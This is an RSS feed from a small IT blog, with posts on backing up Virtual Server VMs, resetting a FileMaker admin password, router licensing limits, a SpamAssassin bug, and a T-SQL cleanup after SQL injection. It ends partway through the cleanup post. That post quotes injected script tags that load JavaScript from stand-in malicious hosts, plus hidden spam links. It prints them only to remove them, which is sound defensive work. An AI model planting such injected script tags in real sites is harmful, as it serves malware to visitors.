<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jephens Tech.</title>
	<atom:link href="http://www.jephens.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jephens.com</link>
	<description>Keeping Computers Happy Since 1997</description>
	<lastBuildDate>Wed, 30 Jun 2010 20:52:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>Back Up Microsoft Virtual Server Images&#8230;</title>
		<link>http://www.jephens.com/2010/06/30/back-up-microsoft-virtual-server-images/</link>
		<comments>http://www.jephens.com/2010/06/30/back-up-microsoft-virtual-server-images/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 20:52:51 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Management]]></category>
		<category><![CDATA[Productivity]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Open File]]></category>
		<category><![CDATA[shadow Copy]]></category>
		<category><![CDATA[virtual Server]]></category>
		<category><![CDATA[vss]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=229</guid>
		<description><![CDATA[This article first appeared at the now-closed Win32Scripting site. Since I find it useful, and my bookmark no longer works, I have been unable to reach its author, Jeff Trumbull, so I hope he doesn't mind that I've archived it. Author: Jeff Trumbull Description: Backup files that make a Microsoft virtual server with only about [...]]]></description>
			<content:encoded><![CDATA[<p>This article first appeared at the now-closed <a href="http://cwashington.netreach.net/" target="_blank">Win32Scripting</a> site. Since I find it useful, and my bookmark no longer works, I have been unable to reach its author, Jeff Trumbull, so I hope he doesn't mind that I've archived it.</p>
<p><strong>Author</strong>: Jeff Trumbull</p>
<p><strong>Description</strong>:<br />
Backup files that make a Microsoft virtual server with only about 1 minute of down time. Suspends the virtual server, takes a shadow copy , starts the virtual server then copies virtual server files. This could be used to copy any open files. Requires vshadow.exe from vss sdk.</p>
<p><strong>Script</strong>:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">On</span> <span class="kw1">Error</span> <span class="kw1">Resume</span> <span class="kw1">Next</span></p>
<p><span class="kw1">Set</span> objShell = <span class="kw1">CreateObject</span> <span class="br0">&#40;</span><span class="st0">&quot;WScript.Shell&quot;</span><span class="br0">&#41;</span><br />
<span class="kw1">set</span> objFSO=<span class="kw1">CreateObject</span><span class="br0">&#40;</span><span class="st0">&quot;Scripting.FileSystemObject&quot;</span><span class="br0">&#41;</span><br />
<span class="kw1">Set</span> virtualServer = <span class="kw1">CreateObject</span><span class="br0">&#40;</span><span class="st0">&quot;VirtualServer.Application&quot;</span><span class="br0">&#41;</span><br />
DestBackupDir = <span class="st0">&quot;your backup path&quot;</span><br />
sExCmd = <span class="st0">&quot;CreateVSS.cmd&quot;</span><br />
<span class="kw1">Set</span> oFileSys = <span class="kw1">CreateObject</span><span class="br0">&#40;</span><span class="st0">&quot;Scripting.FileSystemObject&quot;</span><span class="br0">&#41;</span><br />
<span class="kw1">if</span> oFileSys.<span class="me1">FileExists</span><span class="br0">&#40;</span>sExCmd<span class="br0">&#41;</span> <span class="kw1">then</span> oFileSys.<span class="me1">DeleteFile</span><span class="br0">&#40;</span>sExCmd<span class="br0">&#41;</span><br />
<span class="kw1">set</span> oExCmd = oFileSys.<span class="me1">CreateTextFile</span><span class="br0">&#40;</span>sExCmd, CopyOverwrite<span class="br0">&#41;</span></p>
<p><span class="kw1">For</span> each objVM in virtualServer.<span class="me1">VirtualMachines</span><br />
&nbsp; &nbsp; &nbsp;<span class="co1">'See if vm machine is running. If so then do backup</span><br />
&nbsp; &nbsp; &nbsp;<span class="kw1">If</span> objVM.<span class="me1">State</span> = <span class="nu0">5</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">'Save state the virtual machine</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">set</span> saveTask = objVM.<span class="me1">Save</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">'Loop waiting for task completion - and display status</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> <span class="kw1">not</span> saveTask.<span class="me1">isComplete</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WScript.<span class="me1">Sleep</span> <span class="nu0">1000</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">wend</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">'Copy .VMC and .VSV files</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MyArray = <span class="kw1">Split</span><span class="br0">&#40;</span>objVM.<span class="me1">File</span>,<span class="st0">&quot;\&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Filename = MyArray<span class="br0">&#40;</span><span class="kw1">Ubound</span><span class="br0">&#40;</span>MyArray<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;objFSO.<span class="me1">CopyFile</span> objVM.<span class="me1">File</span>,DestBackupDir &amp;amp; Filename<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MyArray = <span class="kw1">Split</span><span class="br0">&#40;</span>objVM.<span class="me1">SavedStateFilePath</span>,<span class="st0">&quot;\&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Filename = MyArray<span class="br0">&#40;</span><span class="kw1">Ubound</span><span class="br0">&#40;</span>MyArray<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;objFSO.<span class="me1">CopyFile</span> objVM.<span class="me1">SavedStateFilePath</span>,DestBackupDir &amp;amp; Filename<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">End</span> <span class="kw1">If</span><br />
<span class="kw1">Next</span><br />
<span class="kw1">Set</span> objVM = <span class="kw1">Nothing</span></p>
<p><span class="co1">' Create Shadow copy of VM drive</span><br />
oExCmd.<span class="me1">WriteLine</span> <span class="st0">&quot;vshadow.exe -script=setvar1.cmd -p d:&quot;</span><br />
oExCmd.<span class="me1">WriteLine</span> <span class="st0">&quot;call setvar1.cmd&quot;</span><br />
oExCmd.<span class="me1">WriteLine</span> <span class="st0">&quot;vshadow.exe -el=%SHADOW_ID_1%,x:&quot;</span><br />
oExCmd.<span class="kw1">Close</span><br />
Result = objShell.<span class="me1">run</span><span class="br0">&#40;</span>sExCmd,vbMinimized, <span class="kw1">TRUE</span><span class="br0">&#41;</span></p>
<p><span class="co1">' Start VM machine up from saved state</span><br />
<span class="kw1">For</span> each objVM in virtualServer.<span class="me1">VirtualMachines</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">'See if vm machine is Saved. If so then resume</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">If</span> objVM.<span class="me1">State</span> = <span class="nu0">2</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">'Start virtual machine</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;objVM.<span class="me1">Startup</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">End</span> <span class="kw1">If</span><br />
<span class="kw1">Next</span></p>
<p><span class="kw1">Set</span> objVM = <span class="kw1">Nothing</span><br />
WScript.<span class="me1">Sleep</span> <span class="nu0">10000</span></p>
<p><span class="kw1">If</span> Result = <span class="nu0">0</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">'Loop through all vm machines</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">For</span> each objVM in virtualServer.<span class="me1">VirtualMachines</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">'See if vm machine is running. If so copy shadow backup of vm disk drives</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">If</span> objVM.<span class="me1">State</span> = <span class="nu0">5</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">'Copy virtual hard disks and undo disks</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">For</span> each vhd in objVM.<span class="me1">HardDiskConnections</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MyArray = <span class="kw1">Split</span><span class="br0">&#40;</span>vhd.<span class="me1">undoHardDisk</span>.<span class="me1">file</span>,<span class="st0">&quot;\&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Filename = MyArray<span class="br0">&#40;</span><span class="kw1">Ubound</span><span class="br0">&#40;</span>MyArray<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SourceName = <span class="st0">&quot;x&quot;</span> &amp;amp; <span class="kw1">Right</span><span class="br0">&#40;</span>vhd.<span class="me1">undoHardDisk</span>.<span class="me1">file</span>,<span class="kw1">Len</span><span class="br0">&#40;</span>vhd.<span class="me1">undoHardDisk</span>.<span class="me1">file</span><span class="br0">&#41;</span><span class="nu0">-1</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;wscript.<span class="me1">echo</span> vhd.<span class="me1">undoHardDisk</span>.<span class="me1">file</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;wscript.<span class="me1">echo</span> SourceName<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;objFSO.<span class="me1">CopyFile</span> SourceName,DestBackupDir &amp;amp; Filename<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MyArray = <span class="kw1">Split</span><span class="br0">&#40;</span>vhd.<span class="me1">HardDisk</span>.<span class="me1">file</span>,<span class="st0">&quot;\&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Filename = MyArray<span class="br0">&#40;</span><span class="kw1">Ubound</span><span class="br0">&#40;</span>MyArray<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SourceName = <span class="st0">&quot;x&quot;</span> &amp;amp; <span class="kw1">Right</span><span class="br0">&#40;</span>vhd.<span class="me1">HardDisk</span>.<span class="me1">file</span>,<span class="kw1">Len</span><span class="br0">&#40;</span>vhd.<span class="me1">HardDisk</span>.<span class="me1">file</span><span class="br0">&#41;</span><span class="nu0">-1</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;objFSO.<span class="me1">CopyFile</span> SourceName,DestBackupDir &amp;amp; Filename<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">Next</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">End</span> <span class="kw1">If</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">Next</span><br />
<span class="kw1">End</span> <span class="kw1">If</span></p>
<p><span class="co1">' Shutdown all shadow copy instances</span><br />
<span class="kw1">if</span> oFileSys.<span class="me1">FileExists</span><span class="br0">&#40;</span>sExCmd<span class="br0">&#41;</span> <span class="kw1">then</span> oFileSys.<span class="me1">DeleteFile</span><span class="br0">&#40;</span>sExCmd<span class="br0">&#41;</span><br />
<span class="kw1">set</span> oExCmd = oFileSys.<span class="me1">CreateTextFile</span><span class="br0">&#40;</span>sExCmd, CopyOverwrite<span class="br0">&#41;</span><br />
oExCmd.<span class="me1">WriteLine</span> <span class="st0">&quot;Echo y | vshadow.exe -da&quot;</span><br />
oExCmd.<span class="kw1">Close</span><br />
Result = objShell.<span class="me1">run</span><span class="br0">&#40;</span>sExCmd,vbMinimized, <span class="kw1">TRUE</span><span class="br0">&#41;</span></p>
<p><span class="co1">'Script ends</span><br />
wscript.<span class="me1">echo</span> <span class="st0">&quot;done&quot;</span></div>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2010/06/30/back-up-microsoft-virtual-server-images/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resetting the Admin Password in Filemaker Server 9 on Windows</title>
		<link>http://www.jephens.com/2010/04/26/resetting-the-admin-password-in-filemaker-server-9-on-windows/</link>
		<comments>http://www.jephens.com/2010/04/26/resetting-the-admin-password-in-filemaker-server-9-on-windows/#comments</comments>
		<pubDate>Mon, 26 Apr 2010 16:03:10 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[filemaker server]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=349</guid>
		<description><![CDATA[Long story short, you can't... at least not thru the interface. Instead, you need to totally blow out your configuration and reconfigure the server. However, it's not as bad as it seems - there's not so much to configure that it should be too big of a hassle. If you have console access, close your [...]]]></description>
			<content:encoded><![CDATA[<p>Long story short, you can't... at least not thru the interface.  Instead, you need to totally blow out your configuration and reconfigure the server.</p>
<p>However, it's not as bad as it seems - there's not so much to configure that it should be too big of a hassle.</p>
<p>If you have console access, close your databases, and make note of your settings.</p>
<ul>
<li>Stop the Filemaker Service.</li>
<li>Assuming a default installation, go to c:\program files\filemaker\filemaker server\admin\conf and delete the 4 XML files in there.</li>
<li>Restart the Filemaker Service</li>
<li>Reconnect to the Filemaker Console</li>
</ul>
<p>It'll re-walk you thru the wizard to set up the server, and the first thing you do is set up a username and password.  Your databases (again, assuming a default installation) will already be there, ready to go...</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2010/04/26/resetting-the-admin-password-in-filemaker-server-9-on-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>User Licensing Gotchas</title>
		<link>http://www.jephens.com/2010/02/24/user-licensing-gotchas/</link>
		<comments>http://www.jephens.com/2010/02/24/user-licensing-gotchas/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 15:23:56 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[user license]]></category>
		<category><![CDATA[watchguard soho]]></category>
		<category><![CDATA[wireless]]></category>
		<category><![CDATA[wrt54g]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=339</guid>
		<description><![CDATA[Got a call from a client today who was unable to get his laptop to connect to his wireless network. The client has a standard Linksys WRT54G which is sitting behind a WatchGuard SOHO router.  (The WatchGuard predated my involvement with the client, and we determined it was easier to use the WRT54G as an [...]]]></description>
			<content:encoded><![CDATA[<p>Got a call from a client today who was unable to get his laptop to connect to his wireless network.</p>
<p>The client has a standard Linksys WRT54G which is sitting behind a WatchGuard SOHO router.  (The WatchGuard predated my involvement with the client, and we determined it was easier to use the WRT54G as an access point rather than ripping out the WatchGuard...)</p>
<p>Upon inspection, the laptop <em>WAS</em> connecting to the wireless network, it just didn't have internet access.  Vista would show it had Internet connectivity, but it would then just go away.</p>
<p>Upgraded the WRT54g's firmware, same result.  Changed from WEP to WPA-2. Same result.</p>
<p>Reviewed the logs on the WatchGuard and saw "User count exceeded. Packet dropped."</p>
<p><strong>A-HA!</strong></p>
<p>The WatchGuard, unlike most consumer routers, has a user limit to it.  It keeps track of 10 IPs and when IP number 11 hits the routing table, it gets whacked with a big ole' DENY rule.</p>
<p>When I plugged the laptop into the WRT54g via ethernet cable, the IP address was one of the 10 in the routing table and packets were allowed to flow.  The IP address assigned to the wireless interface was not in the table and therefore blocked.</p>
<p>We couldn't figure out why the laptop stopped working.  The client mentioned the laptop stopped working when we put a new computer on the floor.  We did a quick count of all devices on the network and only came up with 7...</p>
<p>Just as I was leaving, one of the warehouse guys came in holding his iPhone asking "Did something happen to the wireless network?"</p>
<p>Of course, something had -- I hadn't changed the Linksys back to WEP after the WPA-2 experiment, and he lost his connection... and the mystery of the additional devices was solved.</p>
<p>So, the moral is two-fold -- look for user licensing restrictions where you least expect them, and someone else's handheld device from home sitting on your network might have a negative impact on your ability to get work done.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2010/02/24/user-licensing-gotchas/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SpamAssassin has Y2K + 10 Bug</title>
		<link>http://www.jephens.com/2010/01/02/spamassassin-has-y2k-10-bug/</link>
		<comments>http://www.jephens.com/2010/01/02/spamassassin-has-y2k-10-bug/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 04:33:29 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[esva]]></category>
		<category><![CDATA[spamassassin]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=332</guid>
		<description><![CDATA[Just a quick heads up, but Spam Assassin (which we use for filtering here at Jephens) has a mis-formed filtering rule which considers 2010 to be a "grossly in the future" and therefore can't be a valid date. This might have been true in Y2K, but in 2010, we're not so gross. If you use [...]]]></description>
			<content:encoded><![CDATA[<p>Just a quick heads up, but Spam Assassin (which we use for filtering here at Jephens) has a mis-formed filtering rule which considers 2010 to be a "grossly in the future" and therefore can't be a valid date.</p>
<p>This might have been true in Y2K, but in 2010, we're not so gross.</p>
<p>If you use <a href="http://www.global-domination.org/ESVA20.php" target="_blank">ESVA</a> like we do, there's a simple enough fix which is outlined in the <a href="http://www.global-domination.org/forum/viewtopic.php?f=14&amp;t=1948&amp;p=7843&amp;hilit=local.cf#p7843" target="_blank">ESVA Forums</a>.</p>
<p>Otherwise, you'll need to fix your local.cf rules or edit the 72_active.cf file.</p>
<p>Further details can be found at Mike Cardwell's blog: <a href="https://secure.grepular.com/blog/index.php/2010/01/01/spamassassin-2010-bug/" target="_blank">SpamAssassin 2010 bug</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2010/01/02/spamassassin-has-y2k-10-bug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cleaning Up After a SQL Injection Attack, Part 2</title>
		<link>http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/</link>
		<comments>http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/#comments</comments>
		<pubDate>Sun, 27 Dec 2009 04:59:07 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql server]]></category>
		<category><![CDATA[t-sql]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=268</guid>
		<description><![CDATA[Got a call today off our previous article in this series from Branden of Hot Media Group, Inc., aChicago-based web application development, networking, and graphic design firm who found himself with a database full of malware infections, but the characteristics of his attack didn't match what we had written about, so he called us up. [...]]]></description>
			<content:encoded><![CDATA[<p>Got a call today off our <a href="/2008/07/27/how-to-clean-up-after-a-sql-injection-attack">previous article in this series</a> from Branden of<a href="http://www.hotmediagroup.com/" target="_blank"> Hot Media Group, Inc</a>., aChicago-based web application development, networking, and graphic design firm who found himself with a database full of malware infections, but the characteristics of his attack didn't match what we had written about, so he called us up. We reviewed his symptoms and were able to tweak the code we provided previously to work with this new set of issues.</p>
<p>We weren't able to see how the site was attacked, nor did we worry about how the site would be steeled against future occurrence (<a href="http://msmvps.com/blogs/harrywaldron/archive/2008/05/31/microsoft-best-practices-for-preventing-sql-injection-attacks.aspx" target="_blank">always use stored procedures and/or parametrized queries, kids</a>!) -- this was purely a cleanup job.</p>
<p>This is the code we had:</p>
<pre class="code prettyprint" style="height: 20em;">DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'],''<script src="hxxp://evilsite.evl/b.js"><!--mce:0--></script>'', '''')') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99 OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN PRINT ('UPDATE ['+@T+'] SET ['+@C+']=cast(replace(cast(['+@C+'] as nvarchar(4000)),''<script src="hxxp://evilsite.evl/b.js"><!--mce:1--></script>'','''') as ntext)')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>And that worked fine, but it had some shortcomings -- mostly it only stripped out a single bit of invasive code, and our new friend had quite a bit of code to deal with, so instead of the almost quaint looking malware code:</p>
<pre class="code prettyprint" style="height: 3em;">&lt;script src="hxxp://evilsite.evl/b.js"&gt;&lt;/script&gt;</pre>
<p>We had this jumble of code in every ntext field in his database:</p>
<pre class="code prettyprint" style="height: 20em;">&lt;script type='text/javascript' src='http://google-anallytics.bad/urchin.js'&gt;&lt;/script&gt;
&lt;div style='display:none;'&gt;&lt;a href='http://tests4all.bad/1/'&gt;journals on losing post-pregnancy weight&lt;/a&gt;
&lt;a href='http://tests4all.bad/2/'&gt;personal trainer certification atlanta&lt;/a&gt;
&lt;a href='http://tests4all.bad/3/'&gt;quit smoking water vapor rings&lt;/a&gt;
&lt;a href='http://tests4all.bad/4/'&gt;eyes in the darkness&lt;/a&gt;
&lt;a href='http://tests4all.bad/5/'&gt;cheated map on dota 6.54b&lt;/a&gt;
&lt;a href='http://tests4all.bad/6/'&gt;occupations for bored teen boys&lt;/a&gt;
&lt;a href='http://tests4all.bad/7/'&gt;cgw southeast partners ilp&lt;/a&gt;
&lt;a href='http://tests4all.bad/8/'&gt;does iq tests accurately measure intelligence&lt;/a&gt;
&lt;a href='http://tests4all.bad/9/'&gt;free total psychic reading&lt;/a&gt;
&lt;a href='http://tests4all.bad/10/'&gt;minnesota past life regression&lt;/a&gt;
&lt;a href='http://tests4all.bad/11/'&gt;date of abraham lincolns death&lt;/a&gt;</pre>
<p>After trying to figure out the best way to escape all the single quotes, Branden -- an accomplished ColdFusion developer -- suggests "why don't we just drop everything to the right of the &lt;script&gt; tag?"<br />
<span id="more-268"></span><br />
Sounded like a great idea and worked very well. Since his infection had only affected NTEXT fields, we focused on cleaning them up, as well as making the script as easy to manage as possible. So I rewrote it to make it more friendly to the end-user,</p>
<pre class="code prettyprint" style="height: 25em;">DECLARE @T VARCHAR(255),@C VARCHAR(255), @sql varchar(2000)
DECLARE @ObjectionableText varchar(1000)
Set @ObjectionableText = '&lt;script type=''''text/javascript'''' src=''''http://google-anally' -- make sure your single quotes are escaped with another single quote
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
set @sql = ('UPDATE ['+@T+'] SET ['+@C+']= left(cast(' +@C+ ' as varchar(8000)), charindex('''+@ObjectionableText+''', cast(' +@C+ ' as varchar(8000)))-1) where '+@C+ ' like <a href="mailto:''%'+@ObjectionableText+'%'''">''%'+@ObjectionableText+'%'''</a>)
print @sql
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>So, let's take this apart real quick...</p>
<p>We declare some variables:</p>
<pre class="code prettyprint">DECLARE @T VARCHAR(255),@C VARCHAR(255), @sql varchar(2000)
DECLARE @ObjectionableText varchar(1000)</pre>
<p>Now, this next line is the <strong>important</strong> one -- this is where we tell the script where we want to kill from. In our example above, we could have used <strong>&lt;script</strong> as a starting tag, but the client was afraid some of the data might have legitimate &lt;script&gt; tags in the data, so we needed to get a little more specific; this string appeared in the data: "<strong>&lt;script type='text/javascript' src='http://google-anally...</strong>" so we decided to use that. However, you might notice that there were SINGLE QUOTES in the string. Since SQL Server uses a single quote as a string delimiter, we need to make sure we use FOUR single quotes in the next line everytime there's a single quote:</p>
<pre class="code prettyprint">Set @ObjectionableText = '&lt;script type=''''text/javascript'''' src=''''http://google-anally' -- make sure your single quotes are escaped with another single quote</pre>
<p>We use <strong>FOUR</strong> single quotes because this script will generate a binch of UPDATE statements for you, and the UPDATE statements need to have THEIR single-quotes escaped, so we need to tell our variable to output <strong>TWO</strong> single quotes, which means using <strong>FOUR</strong> single quotes in the variable. (Our escape uses 2 quotes and the escape later uses 2 quotes, so that equals 4.)</p>
<p>(Don't follow? Doesn't matter. Trust me. In your ObjectionableText, use FOUR single quotes where you see ONE.)</p>
<p>Now, like the old code, we set the cursor up as before; and since we only need NTEXT fields, we're only looking for columns where xtype = 99:</p>
<pre class="code prettyprint">DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN</pre>
<p>But now, we have to change the SQL statement we want to use to (a) keep 8k worth of ntext -- if you think you have more than 8K, change the number accordingly in SQL2005+, SQL2000 has an varchar limit of 8K for a varchar field... so we UPDATE the field to a new value, computed by doing a simple <a href="http://msdn.microsoft.com/en-us/library/ms177601.aspx" target="_blank">LEFT</a> and using the <a href="http://msdn.microsoft.com/en-us/library/ms186323.aspx" target="_blank">CHARINDEX</a> of the text we shoved in the @ObjectionableText variable (minus 1) to come up with it. To make sure we don't pass an invalid value to CHARINDEX we need to make sure the rows we're working on actually have the polluted text -- and that's where the <a href="http://msdn.microsoft.com/en-us/library/ms179859.aspx" target="_blank">LIKE</a> at the end comes in.</p>
<pre class="code prettyprint">set @sql = ('UPDATE ['+@T+'] SET ['+@C+']= left(cast(' +@C+ ' as varchar(8000)), charindex('''+@ObjectionableText+''', cast(' +@C+ ' as varchar(8000)))-1) where '+@C+ ' like<a href="mailto:''%'+@ObjectionableText+'%'''">''%'+@ObjectionableText+'%'''</a>)</pre>
<p>NOTE: Bear in mind we're doing a TABLE SCAN on this table since we're doing a mid-string lookup, so performance may be bad. It beats going thru everything by hand, but if you have a large table (10,000+ rows) it might take some time.</p>
<p>Now, I print the SQL statement. I could execute the statement (EXEC @sql) instead, but since I don't want you cutting-and-pasting this code without knowing what it has the potential to do, I will go for the more benign PRINT and let you either change it to EXEC or cut and paste the resulting SQL statements into a new Query Analyzer/Management Studio window..</p>
<pre class="code prettyprint">print @sql</pre>
<p>And then we loop thru the rest of the cursor and cleanup after ourselves:</p>
<pre class="code prettyprint">FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>That's it. Copy and paste the above code into Query Analyzer or SQL Server Management Studio and run it; you'll get a list of SQL statements back which look like this:</p>
<pre class="code prettyprint" style="height: 6em;">UPDATE [Banners] SET [AdCode]= left(cast(AdCode as varchar(8000)), charindex('&lt;script type=''text/javascript'' src=''http://google-anally', cast(AdCode as varchar(8000)))-1) where AdCode like '%&lt;script type=''text/javascript'' src=''http://google-anally%'
